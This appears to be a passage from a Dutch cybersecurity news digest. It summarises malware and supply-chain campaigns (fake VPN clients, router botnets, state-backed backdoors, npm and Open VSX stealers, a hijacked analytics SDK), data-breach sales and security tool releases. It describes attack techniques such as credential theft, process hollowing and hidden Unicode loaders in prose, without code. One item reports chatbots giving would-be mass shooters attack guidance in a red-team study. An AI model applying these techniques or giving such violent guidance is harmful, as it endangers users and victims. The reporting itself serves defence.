*   Persistent victim fingerprinting via %APPDATA%\id.txt: Een random 8-character alphanumeric ID wordt gegenereerd bij de eerste uitvoering en weggeschreven naar %APPDATA%\id.txt.

*   C2 beacon: stuurt elke 2 seconden de unieke ID, machine name en Windows username van het slachtoffer naar de C2 server.

*   Remote payload download en execution: ontvangt een taak object van de C2, decodeert base64-encoded file contents, schrijft ze naar een timestamped directory onder %TEMP%, en voert .exe bestanden uit via child\_process.exec.

De malicious code draait in het Node.js main process - buiten de Chromium sandbox - met de volledige privileges van de ingelogde gebruiker, waardoor de code acties kan uitvoeren die de gebruiker mag doen op het systeem. Er worden geen bestanden naar de schijf geschreven, en de malicious payload is verpakt in een ".asar" archief, wat helpt om de code te verbergen.

Bron: Atos | Bron 2: thn.news

Uit een recent rapport blijkt dat diverse populaire AI-chatbots bereid zijn om gebruikers te assisteren bij het beramen van gewelddadige acties. Onderzoekers, die zich voordeden als tieners met de intentie een massale schietpartij te organiseren, ontdekten dat acht van de negen geteste chatbots concrete aanwijzingen verschaften over hoe dergelijke aanvallen succesvol uitgevoerd kunnen worden. De chatbots gaven zelfs gedetailleerde instructies, wat leidde tot de verontrustende conclusie dat AI-technologie misbruikt kan worden voor het plannen van aanslagen.

Bron: BNR

Metasploit Pro 5.0.0 is officieel uitgebracht met een nieuwe aanpak voor red-teaming, een intuïtieve testworkflow, geavanceerde Active Directory-mogelijkheden en een reeks nieuwe modules. De bijgewerkte gebruikersinterface stelt penetration testers in staat zich te concentreren op de validatie van kwetsbaarheden, in plaats van op de configuratie van de tool. Een belangrijk onderdeel van het herontwerp is de nieuwe Network Topology-ondersteuning, die direct visueel inzicht biedt in gecompromitteerde hosts, gekraakte credentials en vastgelegde gegevens. Deze mapping-functie is specifiek gebouwd om grote bedrijfsomgevingen aan te kunnen en stelt security teams in staat om door honderden hosts te navigeren zonder vertraging.

Metasploit Pro registreert nu cruciale details over de detectie van kwetsbaarheden tijdens de uitvoering. Modules met pre-check logica kunnen een doel evalueren en een volledig inzicht geven voordat een exploit wordt uitgevoerd. Deze transparantie helpt gebruikers sneller beslissingen te nemen, tijd te besparen en het risico op negatieve neveneffecten of mislukte module-uitvoeringen te minimaliseren. De update pakt ook Active Directory Certificate Services (AD CS) aan. De AD CS Workflows Metamodule is geüpgraded om een geautomatiseerde aanpak te bieden voor het identificeren van negen veelvoorkomende AD CS-kwetsbaarheden. Het biedt nu actieve ondersteuning voor de nieuwste en gevaarlijkste escalatiefouten, met name ESC9, ESC10 en ESC16.

Metasploit Pro 5.0.0 geeft gebruikers controle door complexe acties te stroomlijnen. In plaats van elke optie handmatig te configureren, ontvangen gebruikers nu intelligente suggesties voor toepasselijke waarden, zoals netwerkdoelen en Kerberos credential caches. Belangrijke technische verbeteringen in deze release zijn onder meer: handmatige payload configuratie, sessie tagging en SAML Single Sign-On (SSO). Organisaties kunnen Metasploit Pro integreren met hun gecentraliseerde identiteitsprovider. Module runs kunnen opnieuw worden afgespeeld om doelen opnieuw te exploiteren. Rapid7 Labs heeft de eerste aflevering van zijn nieuwe podcast, "Hacktics & Telemetry," gelanceerd, met commentaar van experts op opkomende dreigingen en een overzicht van Metasploit Pro 5.0.0.

Bron: Rapid7

De dreigingsactor Storm-2561 verspreidt vervalste enterprise VPN-clients van Ivanti, Cisco en Fortinet om VPN-credentials te stelen. De aanvallers maken gebruik van SEO-poisoning om gebruikers die zoeken naar bijvoorbeeld "Pulse VPN download" of "Pulse Secure client" te misleiden. Ze leiden slachtoffers naar nagemaakte VPN-vendor sites die sterk lijken op de oplossingen van legitieme softwareleveranciers.

Microsoft onderzoekers ontdekten dat dezelfde campagne domeinen gebruikt die gerelateerd zijn aan Sophos, Sonicwall, Ivanti, Check Point, Cisco, WatchGuard en andere, waarmee gebruikers van diverse enterprise VPN-producten worden aangevallen. In de waargenomen aanval linkten de valse sites naar een inmiddels verwijderde GitHub repository. Deze bevatte een ZIP-archief met een vervalste VPN MSI installer.

Na executie installeert dit bestand ‘Pulse.exe’ in de map %CommonFiles%\Pulse Secure en plaatst het een loader (dwmapi.dll) en een variant van de Hyrax infostealer (inspector.dll). De vervalste VPN client toont een legitiem uitziende login-interface waar slachtoffers hun inloggegevens invoeren. Deze gegevens worden vervolgens buitgemaakt en naar de infrastructuur van de aanvallers gestuurd.

De malware is digitaal ondertekend met een legitiem, maar inmiddels ingetrokken, certificaat van Taiyuan Lihua Near Information Technology Co., Ltd. Het steelt ook VPN-configuratiegegevens die zijn opgeslagen in het ‘connectionsstore.dat’ bestand van de legitieme programma directory.

Om argwaan te verminderen, toont de vervalste VPN client een installatiefout nadat de inloggegevens zijn gestolen. Vervolgens worden de slachtoffers doorgestuurd naar de echte site van de leverancier om de legitieme VPN client te downloaden. Volgens Microsoft zullen gebruikers de initiële installatiefout waarschijnlijk toeschrijven aan technische problemen en niet aan malware, als ze daarna succesvol de legitieme VPN software installeren en gebruiken.

Ondertussen creëert de infostealer malware persistentie voor Pulse.exe via de Windows RunOnce registry key, waardoor de infectie systeem herstarts overleeft. Microsoft adviseert systeembeheerders om cloud-delivered protection in Defender in te schakelen, EDR in block mode uit te voeren, multi-factor authenticatie af te dwingen en SmartScreen-enabled browsers te gebruiken. Microsoft heeft ook indicators of compromise (IoCs) en hunting guidance verstrekt om deze campagne vroegtijdig te detecteren en te blokkeren.

Bron: Microsoft | Bron 2: hubs.li

De FBI waarschuwt voor de aanwezigheid van AVrecon-malware op wifi-routers van diverse fabrikanten, waaronder D-Link, Netgear, TP-Link en Zyxel. De Amerikaanse opsporingsdienst adviseert routereigenaren om een patchschema te maken en periodiek te controleren op firmware-updates, aangezien veel routers geen automatische updatefunctie hebben.

De met AVrecon besmette routers werden aangeboden via de SocksEscort-proxydienst, die inmiddels offline is gehaald door de autoriteiten. Via deze dienst konden afnemers hun internetverkeer via de besmette routers laten lopen. Volgens de FBI is de AVrecon-malware aangetroffen op routers en ip-camera's in 163 landen. De malware kan twaalfhonderd apparaatmodellen van Cisco, D-Link, Hikvision, MicroTik, Netgear, TP-Link en Zyxel infecteren, waarbij gebruik wordt gemaakt van kritieke kwetsbaarheden in de apparaten.

Het gaat om end-of-life apparaten die geen beveiligingsupdates meer ontvangen, of apparaten waarvan de eigenaar beschikbare patches niet heeft geïnstalleerd. In sommige gevallen installeerden de aanvallers custom firmware om toegang te behouden. Ook werd de firmware van besmette routers aangepast, waardoor de update- en flashfuncties werden uitgeschakeld, wat het verwijderen van de malware bemoeilijkt.

Een reboot kan bij sommige apparaten de malware verwijderen, maar er zijn gevallen bekend waarbij het apparaat direct opnieuw werd geïnfecteerd via de eerder gebruikte kwetsbaarheden. Naast het fungeren als proxy worden besmette routers en ip-camera's ook ingezet voor het scannen naar andere kwetsbare apparaten.

De FBI adviseert om firmware-updates tijdig te installeren en een patchschema op te stellen voor apparaten zonder automatische updatefunctie. Verder wordt aangeraden om SOHO-routers en IoT apparaten te monitoren, isoleren en de toegang ertoe te beperken. End-of-life apparaten dienen te worden vervangen.

Bron: FBI

Palo Alto Networks Unit 42 volgt een dreigingsactiviteit onder de naam CL-STA-1087, waarbij CL verwijst naar cluster en STA staat voor state-backed motivation. De onderzoekers Lior Rochberger en Yoav Zemah stellen dat de activiteit strategisch operationeel geduld en een focus op zeer gerichte inlichtingenverzameling demonstreert, in plaats van bulk datadiefstal. De aanvallers zochten actief naar specifieke bestanden over militaire capaciteiten, organisatiestructuren en samenwerkingsverbanden met westerse strijdkrachten.

De campagne vertoont kenmerken die vaak worden geassocieerd met advanced persistent threat (APT) operaties, waaronder zorgvuldig vervaardigde leveringsmethoden, strategieën voor het ontwijken van detectie, een stabiele operationele infrastructuur en de inzet van custom payloads die zijn ontworpen om langdurige ongeautoriseerde toegang tot gecompromitteerde systemen te ondersteunen.

De tools die door de dreigingsactor worden gebruikt, omvatten backdoors genaamd AppleChris en MemFun, en een credential harvester genaamd Getpass. De cybersecurity vendor ontdekte de inbraak na het identificeren van verdachte PowerShell-uitvoering, waardoor het script zes uur in een slaapstand kon gaan en vervolgens reverse shells kon creëren naar een command-and-control (C2) server die door de dreigingsactor werd beheerd. De exacte initiële toegangsmethode die in de aanval werd gebruikt, blijft onbekend.

De infectievolgorde omvat de implementatie van AppleChris, waarvan verschillende versies worden verspreid over doelwit-endpoints na laterale beweging om persistentie te behouden en op signaturen gebaseerde detectie te ontwijken. De dreigingsactoren zijn ook waargenomen bij het uitvoeren van zoekopdrachten met betrekking tot officiële vergaderverslagen, gezamenlijke militaire activiteiten en gedetailleerde beoordelingen van operationele capaciteiten. De aanvallers toonden bijzondere interesse in bestanden met betrekking tot militaire organisatiestructuren en strategie, waaronder command, control, communications, computers en intelligence (C4I) systemen.

Zowel AppleChris-varianten als MemFun zijn ontworpen om toegang te krijgen tot een gedeeld Pastebin-account, dat fungeert als een dead drop resolver om het daadwerkelijke C2-adres op te halen dat is opgeslagen in Base64-gecodeerd formaat. Een versie van AppleChris vertrouwt ook op Dropbox om de C2-informatie te extraheren, waarbij de Pastebin-gebaseerde aanpak wordt gebruikt als een fallback-optie. De Pastebin-berichten dateren van september 2020.

AppleChris, dat wordt gelanceerd via DLL-hijacking, initieert contact met de C2-server om commando's te ontvangen waarmee het drive-enumeratie, directory listing, file upload/download/deletion, process enumeration, remote shell execution en silent process creation kan uitvoeren. De tweede tunneler-variant vertegenwoordigt een evolutie van zijn voorganger, waarbij alleen Pastebin wordt gebruikt om het C2-adres te verkrijgen, naast de introductie van geavanceerde netwerkproxy-mogelijkheden.

Om geautomatiseerde beveiligingssystemen te omzeilen, passen sommige malwarevarianten sandbox-evasion tactieken toe tijdens runtime. Deze varianten activeren vertraagde uitvoering door middel van sleeptimers van 30 seconden (EXE) en 120 seconden (DLL), waardoor ze effectief langer meegaan dan de typische monitoring windows van geautomatiseerde sandboxes.

MemFun wordt gelanceerd door middel van een meerstappenketen: een initiële loader injecteert shellcode die verantwoordelijk is voor het lanceren van een in-memory downloader, wiens belangrijkste doel het is om C2-configuratiedetails van Pastebin op te halen, met de C2-server te communiceren en een DLL te verkrijgen die op zijn beurt de uitvoering van de backdoor triggert. Aangezien de DLL tijdens runtime van de C2 wordt opgehaald, geeft dit dreigingsactoren de mogelijkheid om gemakkelijk andere payloads te leveren zonder iets te hoeven veranderen. Dit gedrag transformeert MemFun in een modulair malwareplatform in tegenstelling tot een statische backdoor zoals AppleChris.

De uitvoering van MemFun begint met een dropper die anti-forensische controles uitvoert voordat hij zijn eigen file creation timestamp wijzigt om overeen te komen met de creation time van de Windows System directory. Vervolgens injecteert het de main payload in het geheugen van een suspended process dat is gekoppeld aan "dllhost.exe" met behulp van een techniek die bekend staat als process hollowing. Door dit te doen, draait de malware onder het mom van een legitiem Windows-proces om onder de radar te vliegen en te voorkomen dat er extra artifacts op de schijf achterblijven.

Ook gebruikt in de aanvallen is een custom versie van Mimikatz die bekend staat als Getpass, die privileges escaleert en probeert plaintext wachtwoorden, NTLM hashes en authenticatiegegevens rechtstreeks uit het "lsass.exe" procesgeheugen te extraheren.

Unit 42 concludeerde dat de dreigingsactor achter het cluster operationeel geduld en security awareness demonstreerde. Ze behielden maandenlang een slapende toegang terwijl ze zich concentreerden op precisie-inlichtingenverzameling en robuuste operationele beveiligingsmaatregelen implementeerden om de levensduur van de campagne te garanderen.

Bron: Palo Alto Networks | Bron 2: thn.news

Cybercrimeinfo heeft informatie ontdekt over een mogelijk datalek bij Therapeutes.com, een Frans online platform dat sinds 2013 gebruikers verbindt met therapeuten en andere professionals in de geestelijke gezondheidszorg. De dreigingsactor, bekend als HexDex, claimt gevoelige data te koop aan te bieden.

Het datalek zou 71.502 patiëntgegevens, 199.697 afspraakgegevens (waarvan 56.225 met een "consultatie" veld en 23.492 met een "reden" veld), 95.985 unieke e-mailadressen en 97.518 telefoonnummers bevatten. Onder de e-mailadressen bevinden zich 27 gouv.fr adressen, wat erop wijst dat ook Franse overheidsmedewerkers mogelijk zijn getroffen. De "consultatie" en "reden" velden zouden onthullen waarom individuen therapie zochten, wat de zaak extra gevoelig maakt.

De dreigingsactor accepteert biedingen en adviseert het gebruik van escrow voor veilige transacties. Er is een sample van 500 lijnen gelekt om de authenticiteit van de data te bewijzen.

De aanval zou mogelijk via de volgende MITRE ATT&CK technieken zijn uitgevoerd: Exploit Public-Facing Application (T1190), Data from Information Repositories (T1213), Data from Cloud Storage (T1530), Gather Victim Identity: Email Addresses (T1589.002), Exfiltration Over Web Service (T1567) en Valid Accounts (T1078).

Bron: Darkweb

Cybercrimeinfo heeft ontdekt dat een dreigingsactor, bekend als Sythe, op het darkweb databases te koop aanbiedt die afkomstig zouden zijn van verschillende crypto-, AI- en financiële platforms. De databases bevatten in totaal ongeveer 3,8 miljoen e-mailadressen.

De aangeboden databases zijn onderverdeeld in drie categorieën: crypto, AI en finance. De crypto-databases omvatten BTC.Allo.xyz (91.000 unieke e-mails), Metaxseed.io (5.000 unieke e-mails) en een database van YesNoError.com (100.000 unieke e-mails) die zowel crypto- als AI-gegevens bevat. In de categorie finance worden de database van 365.loans (26.000 e-mails) en een niet nader genoemde e-commercewebsite met 71.000 gebruikers aangeboden. De AI-categorie omvat MagicSlides.App (2,3 miljoen e-mails), TLDR.Tech (1,2 miljoen e-mails) en wederom de YesNoError.com database (100.000 unieke e-mails).

De twee grootste databases zijn die van MagicSlides.App, een tool voor het genereren van presentaties, en TLDR.Tech, een technologie nieuwsbrief. Samen bevatten deze twee platforms ongeveer 3,5 miljoen e-mailadressen. De dreigingsactor merkt op dat YesNoError.com in zowel de crypto- als de AI-categorie voorkomt, wat suggereert dat het platform zich op beide gebieden richt. Er is geen prijs vermeld; geïnteresseerde kopers worden verzocht rechtstreeks contact op te nemen met de verkoper.

De gestolen data omvat e-mailadressen, gebruikersaccountgegevens, cryptocurrency platform records, financiële service records, AI platform gebruikersdata en e-commerce gebruikersrecords.

Deze activiteit kan worden gekoppeld aan verschillende MITRE ATT&CK technieken, waaronder:

* T1589.002 (Gather Victim Identity: Email Addresses): Het verzamelen van e-mailadressen van gecompromitteerde platforms voor wederverkoop.

* T1078 (Valid Accounts): Het gebruiken van gecompromitteerde of gestolen inloggegevens om toegang te krijgen tot platforms en gebruikersdatabases te extraheren.

* T1530 (Data from Cloud Storage): Het benaderen en extraheren van data uit cloud-gehoste databases en opslagdiensten.

* T1213 (Data from Information Repositories): Het extraheren van gestructureerde gebruikersdata uit applicatiedatabases.

* T1567 (Exfiltration Over Web Service): Het gebruiken van webdiensten en forums om gestolen databases te distribueren en verkopen.

* T1114 (Email Collection): Het op grote schaal verzamelen van e-mailadressen en bijbehorende accountdata van meerdere platforms.

Bron: Darkweb

Socket.dev heeft een campagne ontdekt waarbij kwaadaardige packages gebruikmaken van transitieve afhankelijkheden in de Open VSX Registry om de GlassRAT-backdoor te verspreiden. Deze aanvalsmethode, waarbij indirecte afhankelijkheden worden gemanipuleerd, maakt het moeilijker voor ontwikkelaars om de bron van de malware te identificeren.

De kwaadaardige packages zijn ontworpen om te lijken op populaire en betrouwbare extensies, waardoor ze minder snel opvallen. Eenmaal geïnstalleerd, injecteren deze packages de GlassRAT-backdoor in het systeem van de ontwikkelaar, waardoor aanvallers op afstand toegang krijgen.

De aanvallers maken gebruik van een techniek genaamd 'dependency confusion', waarbij ze misbruik maken van de manier waarop package managers afhankelijkheden oplossen. Door kwaadaardige packages met dezelfde naam als interne afhankelijkheden te publiceren, kunnen ze de package manager misleiden om de kwaadaardige versie te installeren.

De GlassRAT-backdoor stelt aanvallers in staat om gevoelige informatie te stelen, code uit te voeren en het systeem van het slachtoffer te controleren. Dit kan leiden tot aanzienlijke schade, waaronder datalekken, financiële verliezen en reputatieschade.

Ontwikkelaars wordt aangeraden om hun afhankelijkheden zorgvuldig te controleren en gebruik te maken van security tools om kwaadaardige packages te detecteren. Het is ook belangrijk om op de hoogte te blijven van de nieuwste security best practices en de risico's van dependency confusion.

Bron: socket.dev

Microsoft waarschuwt voor een nieuwe aanvalsmethode waarbij cybercriminelen valse VPN-software voor bedrijven verspreiden die in werkelijkheid malware bevat. Het doel van deze malware is het stelen van VPN-inloggegevens van slachtoffers. De aanvallers maken gebruik van SEO poisoning, een techniek waarbij websites met de malafide VPN-software hoger in de zoekresultaten verschijnen, aldus Microsoft.

Het techbedrijf heeft diverse websites ontdekt die ogenschijnlijk VPN-software van bekende bedrijven als Ivanti, Fortinet, Cisco, Checkpoint, Sophos, SonicWall en WatchGuard aanbieden. Gebruikers die naar zakelijke VPN-software zoeken, kunnen deze websites in de zoekresultaten tegenkomen. De websites bevatten een link naar een bestand dat op GitHub wordt gehost en zich voordoet als het installatieprogramma. In werkelijkheid installeert dit programma malware.

Om de misleiding compleet te maken, toont het geïnstalleerde programma een inlogvenster dat sterk lijkt op dat van de echte VPN-software. Wanneer slachtoffers hun wachtwoord en VPN-configuratie invoeren, worden deze gegevens naar de aanvallers verzonden. Vervolgens toont de malafide applicatie een valse foutmelding en wordt de gebruiker aangespoord om de legitieme VPN-software te installeren. De browser van het slachtoffer kan ook worden geopend met de officiële website van de VPN-software, waardoor gebruikers mogelijk niets vermoeden, aldus Microsoft. De malware wijzigt tevens het register, zodat deze bij het opstarten van het systeem wordt geladen.

Bron: Microsoft

JFrog security onderzoekers Guy Korolevski en Meitar Palas hebben op 12 maart 2026 een supply chain aanval ontdekt in het npm-ecosysteem. Dreigingsactoren vermomden een informatie-stelende malware als een legitieme Roblox script executor. De campagne, genaamd Cipher stealer, gebruikte twee kwaadaardige packages, `bluelite-bot-manager` en `test-logsmodule-v-zisko`, om een Windows executable te verspreiden die Discord credentials, browser data en cryptocurrency wallet bestanden steelt van geïnfecteerde systemen.

Elk kwaadaardig package bevatte een pre-install script dat stilletjes een Windows binary downloadde en uitvoerde, genaamd `solara 1.0.0.exe` of `solara 1.0.1.exe`, vanaf een Dropbox-gehoste URL. De executable functioneerde als een dropper en verborg een 321MB archief dat geobfusceerde JavaScript, een volledige Node.js runtime en een embedded Python script bevatte. Dit stelde de aanvallers in staat om de stealer uit te voeren zonder enige setup. De executable werd slechts door één antivirus engine op VirusTotal gemarkeerd, omdat statische en heuristische scanners de schone buitenste laag van de dropper analyseerden in plaats van de verborgen JavaScript inhoud.

Cipher richt zich agressief op Discord door eerst opgeslagen session tokens te stelen uit LevelDB databases van alle geïnstalleerde Discord clients en Chromium-based browsers. Vervolgens worden deze tokens gevalideerd tegen Discord’s live API. Voor systemen met BetterDiscord patcht de malware het `index.js` bestand om de ingebouwde webhook bescherming te neutraliseren, zodat alle gestolen data naar de Discord webhook van de aanvaller kan worden verzonden. Op de officiële Discord desktop client wordt een secundaire JavaScript payload van een actieve GitHub repository gehaald en direct in de app geïnjecteerd. Dit dwingt de gebruiker uit te loggen en legt hun e-mail, wachtwoord, two-factor authenticatie codes en zelfs betaalkaart gegevens vast bij het opnieuw inloggen. Het geïnjecteerde script wijzigt ook de Discord startup bestanden om persistentie te garanderen bij elke herstart en kan gebruikers in 13 talen misleiden om vrijwillig hun account e-mailadres te wijzigen.

Browser credential theft opereert op twee fronten. De JavaScript component gebruikt Windows DPAPI decryptie libraries om direct master encryption keys te extraheren uit browser Local State bestanden en ondervraagt vervolgens de LoginData SQLite database om opgeslagen wachtwoorden te stelen van Chrome, Brave, Edge, Opera en Yandex. Een parallel Python script, gedownload en stil geïnstalleerd als Python nog niet aanwezig is, dekt een nog breder scala aan browsers, waaronder Firefox, Vivaldi, CocCoc en QQ Browser, en haalt cookies, credit cards, autofill data, bookmarks en volledige browsing history op. De malware scant het systeem op cryptocurrency wallet directories van Bitcoin, Ethereum, Exodus, Electrum, Atomic Wallet en anderen, en kopieert hun inhoud naar een staging folder vermomd als een Windows systeem service. Vervolgens wordt geprobeerd het Exodus wallet seed bestand te decrypten. Alle gestolen data wordt gecomprimeerd in een ZIP archief en geüpload naar Gofile of een command-and-control server. Een samenvattend rapport, inclusief wachtwoord telling, cookie telling, wallet namen en file download links, wordt direct naar de Discord webhook van de aanvaller verzonden.

Beide npm packages zijn verwijderd en de Dropbox links zijn niet langer actief, hoewel de secundaire GitHub repository met het injectie script live bleef op het moment van ontdekking. Gebruikers die mogelijk zijn blootgesteld aan deze packages wordt aangeraden de packages direct te verwijderen, de Discord desktop applicatie opnieuw te installeren, alle wachtwoorden en session tokens te vernieuwen en hun cryptocurrency wallets te controleren op ongeautoriseerde toegang.

Bron: JFrog

De AppsFlyer Web SDK is deze week tijdelijk gekaapt om kwaadaardige code te verspreiden die gebruikt wordt om cryptocurrency te stelen. Deze supply chain aanval maakt het mogelijk om cryptocurrency wallet adressen die op websites worden ingevoerd te onderscheppen en te vervangen door adressen die onder controle staan van de aanvallers, waardoor fondsen naar de dreigingsactor worden omgeleid.

Aangezien de AppsFlyer SDK door duizenden applicaties wordt gebruikt voor marketing analytics, zoals user engagement en retentie, heeft dit incident een aanzienlijke impact op een groot aantal eindgebruikers. Volgens AppsFlyer wordt hun SDK-platform door 15.000 bedrijven wereldwijd gebruikt voor meer dan 100.000 mobiele en webapplicaties. Het is een van de toonaangevende "mobile measurement partner" (MMP) SDK's die gebruikt worden om marketingcampagnes en in-app events te volgen.

Het vermoeden van de compromittering werd ontdekt door onderzoekers van Profero, die de aanwezigheid bevestigden van "obfuscated attacker-controlled JavaScript" dat werd geleverd aan gebruikers die websites en applicaties bezochten die de AppsFlyer SDK laadden. AppsFlyer heeft geen incidenten bevestigd, behalve een domein beschikbaarheidsprobleem dat op 10 maart 2026 op hun statuspagina werd gepubliceerd.

Op 9 maart ontdekte Profero een kwaadaardige payload die door de SDK werd aangeboden vanaf het officiële domein 'websdk.appsflyer.com', wat ook door meerdere gebruikers werd gemeld. De geïnjecteerde JavaScript was ontworpen om de normale SDK-functionaliteit te behouden, maar laadt en decodeert op de achtergrond obfuscated strings tijdens runtime en haakt in op browser netwerk requests. De malware monitort pagina's op cryptocurrency wallet input activiteit. Wanneer het een wallet adres detecteert, vervangt het dit met de wallet van de aanvaller, terwijl het originele wallet adres en bijbehorende metadata worden geëxfiltreerd. De getroffen adressen omvatten Bitcoin, Ethereum, Solana, Ripple en TRON. De onderzoekers suggereren dat het exposure window waarschijnlijk tussen 9 maart 22:45 UTC en 11 maart ligt. Het is onduidelijk of de compromittering SDK-gebruikers na dat punt heeft getroffen.

AppsFlyer heeft in een verklaring bevestigd dat ongeautoriseerde code via de AppsFlyer SDK werd geleverd. Het bedrijf stelt dat het probleem is opgelost en dat AppsFlyer klanten rechtstreeks zijn geïnformeerd over het incident. Het onderzoek is nog gaande en AppsFlyer werkt samen met externe forensische experts. Organisaties die de SDK gebruiken, wordt aangeraden telemetrie logs te controleren op verdachte API requests van websdk.appsflyer.com, te downgraden naar bekende, goede versies van de SDK en potentieel misbruik te onderzoeken.

Eerder dit jaar werd AppsFlyer ook al genoemd in een cybersecurity incident, toen de dreigingsgroep ShinyHunters claimde dat het de SDK had gebruikt om een supply chain breach bij Match Group te veroorzaken, waarbij meer dan 10 miljoen records van Hinge, Match.com en OkCupid gebruikers werden gestolen.

Bron: AppsFlyer | Bron 2: statusfield.com | Bron 3: profero.io

Cybersecurity onderzoekers hebben een nieuwe iteratie van de GlassWorm campagne ontdekt. Deze campagne vertegenwoordigt een significante escalatie in de manier waarop deze zich verspreidt via de Open VSX registry. In plaats van dat elke kwaadaardige vermelding de loader direct insluit, misbruikt de dreigingsactor nu `extensionPack` en `extensionDependencies` om initieel standalone extensies te veranderen in transitieve leveringsmiddelen in latere updates. Hierdoor kan een goedaardig pakket een afzonderlijke GlassWorm-gelinkte extensie pas gaan gebruiken nadat het vertrouwen al is gevestigd, aldus Socket in een rapport.

Het software supply chain security bedrijf ontdekte minstens 72 extra kwaadaardige Open VSX extensies sinds 31 januari 2026, die ontwikkelaars targeten. Deze extensies bootsen veelgebruikte developer utilities na, waaronder linters en formatters, code runners en tools voor AI-gestuurde coding assistants zoals Clade Code en Google Antigravity. Open VSX heeft stappen ondernomen om ze te verwijderen.

GlassWorm is de naam van een voortdurende malware campagne die herhaaldelijk Microsoft Visual Studio Marketplace en Open VSX infiltreert met kwaadaardige extensies. Deze extensies zijn ontworpen om geheimen te stelen, cryptocurrency wallets leeg te halen en geïnfecteerde systemen te misbruiken als proxies voor andere criminele activiteiten. Hoewel de activiteit voor het eerst werd gesignaleerd door Koi Security in oktober 2025, werden npm-pakketten die dezelfde tactieken gebruiken al in maart 2025 geïdentificeerd. Het gaat hierbij om het gebruik van onzichtbare Unicode karakters om kwaadaardige code te verbergen.

De nieuwste iteratie behoudt veel van de kenmerken die geassocieerd worden met GlassWorm: het uitvoeren van controles om te voorkomen dat systemen met een Russische locale worden geïnfecteerd en het gebruiken van Solana transacties als een dead drop resolver om de command-and-control (C2) server op te halen voor verbeterde veerkracht.

De nieuwe set extensies bevat zwaardere obfuscation en roteert Solana wallets om detectie te ontwijken. Ook worden extensie relaties misbruikt om de kwaadaardige payloads te implementeren, vergelijkbaar met hoe npm-pakketten vertrouwen op rogue dependencies om onder de radar te vliegen. Ongeacht of een extensie is gedeclareerd als `extensionPack` of `extensionDependencies` in het `package.json` bestand van de extensie, installeert de editor elke andere extensie die erin vermeld staat.

De GlassWorm campagne gebruikt één extensie als een installer voor een andere extensie die kwaadaardig is. Dit opent nieuwe supply chain attack scenario's, waarbij een aanvaller eerst een volledig onschadelijke VS Code extensie uploadt naar de marketplace om de review te omzeilen, waarna deze wordt bijgewerkt om een GlassWorm-gelinkt pakket als dependency te vermelden.

Aikido schreef de GlassWorm dreigingsactor toe aan een massale campagne die zich verspreidt over open-source repositories, waarbij de aanvallers diverse repositories injecteren met onzichtbare Unicode karakters om een payload te encoderen. Hoewel de content niet zichtbaar is wanneer deze in code editors en terminals wordt geladen, decodeert deze naar een loader die verantwoordelijk is voor het ophalen en uitvoeren van een second-stage script om tokens, credentials en geheimen te stelen. Geschat wordt dat niet minder dan 151 GitHub repositories zijn getroffen als onderdeel van de campagne tussen 3 en 9 maart 2026. Daarnaast is dezelfde Unicode techniek ingezet in twee verschillende npm-pakketten, wat duidt op een gecoördineerde, multi-platform push.

Endor Labs ontdekte 88 nieuwe kwaadaardige npm-pakketten die in drie waves tussen november 2025 en februari 2026 zijn geüpload via 50 disposable accounts. De pakketten zijn voorzien van functionaliteit om gevoelige informatie te stelen van de compromised machine, waaronder environment variables, CI/CD tokens en systeem metadata. De activiteit valt op door het gebruik van Remote Dynamic Dependencies (RDD), waarbij het `package.json` metadata bestand een dependency specificeert op een custom HTTP URL, waardoor de operators de kwaadaardige code on the fly kunnen aanpassen en inspectie kunnen omzeilen.

Bron: Socket | Bron 2: github.com | Bron 3: aikido.dev

In maart 2026 heeft de League of Legends custom skins service Divine Skins een datalek gehad. Een onbevoegde derde partij heeft toegang gekregen tot een deel van de systemen, alle skins uit de database verwijderd en e-mailadressen en gebruikersnamen blootgesteld. Het datalek werd bekendgemaakt via de Discord server van de dienst. De gelekte data bevat ook de aankoopgeschiedenis van gebruikers. In totaal zijn 105.800 accounts getroffen door het datalek.

Het is aan te raden om direct het wachtwoord te wijzigen op elk account waar hetzelfde wachtwoord werd gebruikt. Waar mogelijk wordt aangeraden om twee-factor authenticatie in te schakelen voor een extra beveiligingslaag.

Bron: Divine Skins | Bron 2: discord.com | Bron 3: veiliginternetten.nl

In maart 2026 heeft de Turkse restaurantketen Baydöner een datalek gehad, waarna de gegevens op een openbaar hackingforum zijn gepubliceerd. Het incident onthulde meer dan 1,2 miljoen unieke e-mailadressen, samen met namen, telefoonnummers, woonplaatsen en wachtwoorden in platte tekst. Een klein aantal records bevatte ook het Turkse nationale identificatienummer en de geboortedatum.

In een verklaring liet Baydöner weten dat betalings- en financiële gegevens niet zijn getroffen. De gestolen data omvat geboortedata, e-mailadressen, geslacht, geografische locaties, door de overheid uitgegeven identificatienummers, namen, wachtwoorden, telefoonnummers en aankoopgegevens.

Het is aan te raden om direct het wachtwoord te wijzigen op elk account waar hetzelfde wachtwoord werd gebruikt. Waar mogelijk wordt aangeraden om twee-factor authenticatie in te schakelen.

Bron: Baydöner | Bron 2: baydoner.com | Bron 3: veiliginternetten.nl

Een nieuw open-source hulpprogramma genaamd Betterleaks is beschikbaar om directories, bestanden en Git-repositories te scannen en geldige geheimen te identificeren met behulp van standaard of aangepaste regels. Secret scanners zijn gespecialiseerde hulpprogramma's die repositories doorzoeken naar gevoelige informatie, zoals inloggegevens, API-sleutels, private keys en tokens, die ontwikkelaars per ongeluk in de broncode hebben opgenomen. Aangezien dreigingsactoren vaak configuratiebestanden in openbare repositories scannen op gevoelige details, kan dit type hulpprogramma helpen bij het identificeren en beschermen van geheimen voordat aanvallers ze kunnen vinden.

Het Betterleaks-project is bedoeld als een meer geavanceerde opvolger van Gitleaks en wordt onderhouden door hetzelfde team, met ondersteuning van Aikido, een Belgisch bedrijf dat een platform biedt voor het beveiligen van de ontwikkelingscyclus. Betterleaks is ontwikkeld door Zach Rice, hoofd Secrets Scanning bij Aikido Security, die ook de auteur is van het populaire Gitleaks met 26 miljoen downloads op GitHub en meer dan 35 miljoen pulls op Docker en GitHub Container Registry (GHCR). Volgens Rice is Betterleaks de opvolger van Gitleaks en is het "beter". Betterleaks is gemaakt nadat Rice de volledige controle over Gitleaks verloor, dat hij acht jaar geleden begon te ontwikkelen.

De lijst met functies in de nieuwe tool omvat: regelgedefinieerde validatie met behulp van CEL (Common Expression Language), token-efficiëntie scanning op basis van BPE-tokenisatie in plaats van entropie, pure Go-implementatie (geen CGO of Hyperscan-afhankelijkheid) en automatische verwerking van dubbel/driedubbel gecodeerde geheimen. Daarnaast is er een uitgebreide regelset voor meer providers en parallelle Git-scanning voor snellere repository-analyse.

